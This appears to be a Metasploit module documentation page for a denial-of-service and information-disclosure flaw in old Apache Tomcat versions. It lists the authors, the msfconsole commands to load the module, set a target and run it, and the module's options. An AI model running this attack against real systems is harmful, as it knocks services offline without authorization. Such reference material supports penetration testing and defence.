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Apache Tomcat Transfer-Encoding Information Disclosure and DoS

Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not properly handle an invalid Transfer-Encoding header, which allows remote attackers to cause a denial of service (application outage) or obtain sensitive information via a crafted header that interferes with "recycling of a buffer."


Rank

  • Normal

Authors

  • Steve Jones < >
  • Hoagie < andi [at] void {dot} at >
  • Paulino Calderon < calderon [at] websec {dot} mx >

References


Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use auxiliary/dos/http/apache_tomcat_transfer_encoding
msf auxiliary(apache_tomcat_transfer_encoding) > set RHOST [TARGET IP]
msf auxiliary(apache_tomcat_transfer_encoding) > run


Module Options

RHOST The target address
RLIMIT Number of requests to send (default: 25)
RPORT The target port (default: 8000)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)